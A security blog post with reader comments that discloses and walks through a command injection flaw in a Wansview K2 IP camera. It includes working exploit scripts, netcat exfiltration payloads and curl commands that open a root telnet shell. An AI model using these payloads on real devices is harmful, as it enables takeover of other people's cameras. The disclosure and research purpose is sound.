Ramblin' Wedells

    This post is an introduction to penetration testing an IoT device. There are much more advanced toolkits available but this post details a “starting-from-scratch” approach that I took in order to re-familiarize myself with penetration testing. As long as you have a some amount of familiarity with Linux and common tools you should be able to follow along.

    TLDR: Jump to the exploit code if you just want to get root on your camera.

    Background

    The cost of IP cameras has come down significantly and when I noticed one for sale on Amazon for 30 dollars I decided it was worth a purchase. In addition to adding another camera to my smart home setup (shout out to Home Assistant) I could have fun trying to hack the camera since cheap Internet of Things devices are notoriously insecure. The text on the product description page mentioned that the device wouldn’t work if your WiFi password contained the characters & or ‘ – this was a clear indication that the product may not be properly parameterizing values.

    The camera used here is a Wansview K2. I imagine the issue is present on other Wansview cameras in the same family as well as clones.

    Getting started

    Once the initial set up using an Android or iPhone is complete the camera presents a web interface on the local network that can be used to configure the device. Looking through the various configuration pages revealed several pages that may be worth probing for command injection vulnerabilities.

    It was also worth scanning to see what ports the device was listening on in case the device was running a known vulnerable service. This was not fruitful as the device appears to only listen on port 80.

    Probing for command injection vulnerabilities

    First, lets try setting the values of various parameters in the interface to characters that have special meanings in the shell:

    Okay, great. The check on characters in performed client-side using JavaScript. Is it also performed server side? Using the Chrome developer panel, I was able to see that when you click “Save” the form is submitted using a GET request (which is bad – GET shouldn’t be used to update parameters on the server…) to this URL:

    http://192.168.1.212/hy-cgi/ftp.cgi?cmd=setftpattr&ft_server=server&ft_port=8000&ft_username=test&ft_password=test&ft_dirname=./

    Now lets try putting that special character in the URL and see if the server checks for it:

    Hmm. “Error: CallServer failed”. Does this mean the server refused to accept our input? Let’s reload the FTP settings page to see if it stored the value we sent:

    Interesting! All of the field values have been replaced with “[object HTMLInputElement]”. I imagine this is because the JavaScript that fills in the form values was broken by the inserted ‘ character. Next I tried setting the Username field to have the value ‘`whoami`’. The idea behind this is that I imagine that behind the scenes the server is passing the arguments from the form to a command as such:

    setup_ftp -a ‘server_address’ -p ‘port’ -u ‘username’ -p ‘password’

    Therefore, by including the single quote we break out of that. The `whoami` attempts to run “whoami” and fill in the value. The shell evaluates anything inside of backticks (`) as a command and executes it and then places the resulting output text in place of the original backtick-quotes text. Normally quoting arguments with single quotes prevents that behavior and forces the backticks to be interpreted literally. That is why we include the single quote first. The last single quote is included to match the existing closing single quote. So we are expecting the server to run something like this (note that those are not double quotes – they are two adjacent single quotes):

    setup_ftp -a ‘server_address’ -p ‘port’ -u ”`whoami`” -p ‘password’

    Ideally when we reload the FTP page we will see the result of the Linux “whoami” command in the username field. Unfortunately all we see is all fields filled in with the “[object HTMLInputElement]” value.

    Lets get clever

    We’ve encountered our first minor set-back. From the behavior of the server, it appears that we are doing something we shouldn’t be able to when we send FTP usernames with single quotes. It is even possible that our injected shell command is running but if we can’t see the output how will we take advantage of this? If you look again at the FTP page you can see there is a “Test” option. If we set up a honeypot FTP server that logs all connection attempts, and inject a command into the username field perhaps our fake FTP server will get to see the command output. To set up our fake FTP server lets just listen on the port we specified in the FTP configuration using netcat. The command used to do this is “nc -l 8000”. (My machine name on the local network is “server”.)

    When we click “Test” this is what we see:

    Hmm. This frustrated me for a while. After taking a break to clear my thoughts I realized that the camera might be waiting for the FTP server to identify itself before sending the username. Looking into the FTP protocol more I see that indeed the server begins the connection. So now lets repeat but have my server send a brief FTP header before listening for the camera to send the username. Here is the text I used to emulate an FTP server:

    220-FTPSERVE at machine_name, hh:mm:ss CST day mm/dd/yy
    machine_name username:

    I then ran netcat again like such “nc -l 8000 < fake_ftp” where the file “fake_ftp” contains the string above.

    Here is what we see:

    Success! Rather than send the “username” which we submitted

    ‘`whoami`’

    the server sent the result of the whoami command! Furthermore, the web server is running as root. This is going to be easy. At this point we have the ability to do arbitrary remote code execution by using command injection on the username field of the FTP configuration page and then pressing the “Test” button while running netcat in order to view the output.

    We can do better

    It’s nice that we’ve got our foot in the door, but it would be nicer to get an actual shell on the camera. I attempted to initialize a number of reverse shells and even went so far as to attempt to cross-compile a C reverse shell for ARM. Unfortunately all of these efforts were fruitless. Finally I realized that rather than running the fake FTP server I could just pipe my commands on the camera into nc to send the results back to the server. So for example, on the server I would run

    nc -l 8000

    and the magic string to inject as the username would be

    ‘`whoami | nc server 9000`’

    I developed a simple script that would update the FTP settings, open a netcat terminal listening on port 9000, and then send the GET request to the camera that triggers the FTP “Test”. The camera fails to connect to the FTP server but we don’t care because our command still gets executed and the results sent back to us on port 9000. That script served the purpose of emulating a shell on the device.

    I’m including it here for reference but keep reading because I came up with a better solution:

    #!/bin/bash
    
    cam_ip=192.168.1.x
    username=admin
    passwd=123456
    attacker=server
    
    while [ 1 ]
    do
        # Pretend like this is a real terminal
        echo -n '$ '
        # Update the FTP settings
        curl --digest -u $username:$passwd -X GET "http://$cam_ip/hy-cgi/ftp.cgi?cmd=setftpattr&ft_server=$attacker&ft_port=21&ft_username=u$(./encode.py $attacker)&ft_password=p&ft_dirname=./" -s > /dev/null
        # Trigger the results to get sent back
        curl --digest -u $username:$passwd -X GET "http://$cam_ip/hy-cgi/ftp.cgi?cmd=testftp" -s > /dev/null &
        # Start listening for the results. This should really be before the previous request,
        # but since our computer runs faster than the camera can connect it works fine.
        nc -l 9000
    done

    In order for it to work you also need the following python script saved as “encode.py” and executable:

    #!/usr/bin/env python2
    
    import sys
    import urllib
    print urllib.quote("""'"`%s`"'""" % (raw_input().strip() + " | nc "+ sys.argv[1] + " 9000"))

    We can still do better

    Now that I had a basic shell I began poking around the camera. It contains a simple ARM chip (the Grain-Media GM8136 series which is an ARM v5 chip) and among other things, busybox to emulate the standard linux utilities. Furthermore, I was able to determine that the busybox implementation of the telnet daemon was present. At this point all we need to do is start the daemon and then we should be able to connect and have a real shell. Using the tool I developed above, I started telnet by running “/usr/sbin/telnetd” using the method described above. At this point there is a real telnet shell listening on the camera for us to connect to:

    Exploit code

    UPDATE: Since the original posting, others have discovered (see the comments) that there is a CGI method which can be called to turn on the camera’s telnet daemon without needing to perform an RCE. It is more straightforward than the code below, which is still available for reference. If all you care about is getting a shell, then just run the following command, making sure to substitute your username, password, and camera IP where appropriate, and then connecting to the camera using telnet (also described below).

    curl --digest -u admin:123456 -X GET "http://192.168.1.xxx/hy-cgi/factory_param.cgi?cmd=settelnetstatus&enable=1"

    If you read all of this and you just want the easiest way to get root on your camera, use this script (edit in your username, password, and camera IP in the script):

    #!/bin/bash
    cam_ip=192.168.1.x
    username=admin
    passwd=123456
    
    echo "Using shell injection to start telnetd on camera..."
    curl --digest -u $username:$passwd -X GET "http://$cam_ip/hy-cgi/ftp.cgi?cmd=setftpattr&ft_server=127.0.0.1&ft_port=9000&ft_username=u%27%22%60killall%20telnetd%3B%20/usr/sbin/telnetd%20-l/bin/sh%60%22%27&ft_password=p&ft_dirname=./" -s > /dev/null
    
    # Trigger the camera to execute our injected shell code
    curl --digest -u $username:$passwd -X GET "http://$cam_ip/hy-cgi/ftp.cgi?cmd=testftp" -s > /dev/null
    
    rc=$?; if [[ $rc != 0 ]]; then echo "Error..."; exit $rc; fi
    
    echo "Success!"
    echo "To connect run: telnet "$cam_ip
    
    
    

    After running the script just run “telnet cam_ip” to connect to your camera using telnet.

    Caveats

    There are a few caveats here. First of all, in order to access the web interface you need a valid username and password. This prevents you from getting access to cameras for which you do not have the password, unless the owner never changed the default password. In reality, a large percent of people fail to change the default password. Nevertheless they are only vulnerable to this exploit if the attacker is on their LAN.

    Future avenues of exploration

    1. Thorough investigation of the camera system leads me to believe that there is no easy way to run this exploit without knowing the username/password. It is using an up to date version of lighttpd and the configuration is sensible. There are some other services running on the camera though and it is possible that one of them is exploitable through a buffer overflow or other c exploit. I plan on investigating further.
    2. I was able to dump the camera firmware. Investigating the firmware update routine it appears that updates are not cryptographically verified at all. This means that it is possible to modify the camera firmware to have persistent malware or spyware and flash it on the camera. If you were to give such a camera to someone even a manual reset would not remove the malware. Furthermore, if you detect any cameras with default username/password combos you could infect them as well.

    How can I protect myself

    Firewall off all IoT devices to prevent them from making ANY outbound connections. Then run Home Assistant or similar software inside of your LAN and have it connect to your cameras and IoT devices and export their functionality. I run Home Assistant behind an NGINX reverse proxy with username/password authentication so that I can access it outside the home without exposing it to the world.

    Assume that all IoT devices are compromised.

     

    Timeline

    February 7th, 2017 – Discovered FTP command injection.

    March 7th, 2017 – Sent initial e-mail to tech support asking for a security contact.

    March 7th, 2017 – Received update from Wansview that they have fixed the issue in the newest firmware. (I had not yet reported the specific issue, just asked for a technical contact.)

    March 7th, 2017- Responded that I was on the newest firmware.

    March 8th, 2017 – Saw that this was independently discovered and disclosed elsewhere and as such released post publicly prior to vendor patch.

    March 16th, 2017 – Emailed again to ask for a status update.

    March 16th, 2017 – Received response that the issue had been passed along to software department. (I had still not reported the specific issue, only that there was one.)

    August 9th, 2017 – Updated this post to include manufacturer details since this issue is still not resolved.

    October 24th, 2018 – According to comments on this post, the vulnerability is still there on the newest firmware installed on just-purchased devices. 🤦

    19 Comments

    1. Hi,

      On one of my cameras I’m seeing:
      ” All of the field values have been replaced with “[object HTMLInputElement]”

      Do you know how to get the camera out of this state?

      Thanks!

      1. This happens when there is improper escaping of the injected fields. Did you copy the scripts on this page? If so, you may have accidentally omitted a quotation mark somewhere.

        To fix it you can just set the value of the fields to whatever you want, and then click “Save”. If this is happening on the FTP settings page it isn’t something you need to worry about fixing; that text won’t cause any problems unless you are actually using the FTP feature.

      1. Thanks for the update, Ken. I presume the camera come with that firmware version? I can’t find a version online to flash to mine and inspect.

    2. Hi Jon,

      I can confirm that the hack still works on version 49 (received in that version).

      Note that I found a quite interesting pastbin corresponding to apparently the Q3S, and there is an interesting command in there:

      /hy-cgi/factory_param.cgi?cmd=settelnetstatus&enable=1

      This enables the telnetd daemon without even having to bother with the hack anymore, and persist reboot!!!

      BTW, I’m searching to get full control on my Q3 device, and the only things I could not get yet are:
      – Exact pan & tilt control (ie goto precise position) or at least p&t value reading
      – playing sound back to the camera without the wansview app!

      If anyone has any info, it would be great! I asked wansview but they nicely point me back to their app of course…

      Cheers

    3. Hi,
      do you think this is possible with this Camera to https://www.amazon.fr/Wansview-Surveillance-Ext%C3%A9rieur-S%C3%A9curit%C3%A9-Nocturne/dp/B075KH5G17

      It’s a Wansview 720p W3

      I running in trouble with the Video Link which is http://admin:123456@192.168.1.2/mjpeg/snap.cgi?chn=2 but for several circumstances I need http://admin:123456@192.168.178.24/auto.jpg or /auto.mjpg or similar.
      Important is the ending whit .jpg . mjpg etc…

      The Camera itself is great but not usable whit this weird link.

      Best Theo

    4. Quick question……I was able to get the Telnet service started and get the shell. However, it looks like a lot of interesting CGI scripts are located in the /hy-cgi directory. I can’t seem to find this directory (or any of the CGI scripts inside of it) once I have the the shell.

    5. To Chris
      There are no cgi scripts, they are built in a executable.
      -rwxr-xr-x 1 root root 24996 Sep 30 2015 config.cgi
      -rwxr-xr-x 1 root root 4760 Sep 30 2015 custom.cgi
      -rwxr-xr-x 1 root root 245552 Jun 26 2017 hyipc.cgi
      -rwxr-xr-x 1 root root 7280 Jun 26 2017 mjpgstream.cgi
      Its a C program:
      Some examples of strings hyipc.cgi:
      var ma_server=’%s’;
      var ma_port=%d;
      var ma_authtype=%d;
      var ma_logintype=%d;
      var ma_username=’%s’;
      var ma_password=’%s’;
      var ma_from=’%s’;
      var ma_to1=’%s’;
      var ma_to2=’%s’;
      var ma_to3=’%s’;
      var ma_to4=’%s’;
      var ma_to5=’%s’;
      var ma_to6=’%s’;
      var ma_subject=’%s’;
      getnetattr
      setnetattr
      gethttpport
      sethttpport
      getrtspport
      setrtspport
      getrtspauth
      setrtspauth
      getinterip
      getupnpattr
      var ft_server=’%s’;
      var ft_port=%d;
      var ft_username=’%s’;
      var ft_password=’%s’;
      var ft_dirname=’%s’;
      getftpattr
      setftpattr
      testftp
      testftpresult
      var sustime=%d;
      var ircutstatus=’close’;
      var ircutstatus=’open’;
      ERROR: retvalue=’%d’

    6. About the telnet status:
      the strings are present in the hy-cgi binary:
      strings hyipc.cgi | grep telnet
      killall telnetd
      /usr/sbin/telnetd
      settelnetstatus
      gettelnetstatus

      This works} curl –digest -u user:pass “http://X.X.X.X/hy-cgi/factory_param.cgi?cmd=gettelnetstatus”
      var enable=0;

      I have changed the startupscripts to have a permanent telnetd aemon.
      Also i have changed some webpages. Works great.

    7. Fast hack

      % curl -digest -u admin:123456 “http://192.168.0.23/hy-cgi/factory_param.cgi?cmd=settelnetstatus&enable=1

      power off/on camera

      % telnet 192.168.0.23
      Trying 192.168.0.23…
      Connected to w7jcm.
      Escape character is ‘^]’.
      / # cat /tmp/version
      v2.3
      HuangCanping@softSVN
      2018-04-09 19:59:40

      Camera was just received from amazon few days ago.

    8. Any tips on dumping/updating the firmware? I’ve dd’d the partitions off onto an nfs, but I assume it’s not just going to be as easy as dd’ing them back. Must I use the flashcp included and is there more to it I’m not seeing yet? I’m pretty new to this but there are a few distinct things I’d like to change.

      It’s a Wansview W3 purchased off amazon early June 2019. Firmware 00.10.01.0049P4

      1. It’s been a while since I looked at this, but you may not be able to use the flashcp command as is – at least on mine, it looks to where an SD card would be mounted in order to pull in the files to flash from.

        I believe it is just a bash file, and it probably does just dd the partition, but with a few preparation/cleanup steps added. I’m very interested to hear back if you get it working.

    9. Hi all.
      I’ve tried the curl injections directly from terminal (without the long procedure), all the ones reported into the posts above with no luck.
      I obtain:

      401 – Unauthorized

      401 – Unauthorized

      My IP and pwd are ok. I’ve checked the quotes but nothing.

      Trying with browser, I obtain “Success”. I reboot the cam but no telnet port 23 I mean).

      My Wansview W3 data:
      fw: 00.10.01.0049P4 (2018-03-23 14:43) is the same of yours?
      webUI fw: 0.7.4.21

      Tnx in advance for any tip.

      1. Hey Christian,

        I had to modify the direct curl command slightly to get it to work on my cameras. Try this (with the appropriate substitutions):

        curl --digest -u admin:123456 -X GET "http://192.168.1.xxx/hy-cgi/factory_param.cgi?cmd=settelnetstatus&enable=1"

        Cheers,
        Jon

    10. Has anyone had any luck with the new “cloud” versions? I have a W3S “cloud” version, it shows it still has port 80 open but get a “403 Forbidden” when browsing to it and the above strategies don’t work:

      $ curl –digest -u admin:123456 -X GET “http://192.168.0.56/hy-cgi/factory_param.cgi?cmd=settelnetstatus&enabled=1” -s

      404 Not Found

      404 Not Found

      $ nmap 192.168.0.56

      Starting Nmap 7.01 ( https://nmap.org ) at 2019-12-19 11:12 MST
      Nmap scan report for IPC.domain (192.168.0.56)
      Host is up (0.018s latency).
      Not shown: 998 closed ports
      PORT STATE SERVICE
      80/tcp open http
      65000/tcp open unknown

      Nmap done: 1 IP address (1 host up) scanned in 0.32 seconds

      Thanks!

    11. Apologies, it’s a K3 camera, not W3. But still, the difference is that it’s “cloud” – so no ONVIF support unfortunately.

    Leave a Reply

    Your email address will not be published. Required fields are marked *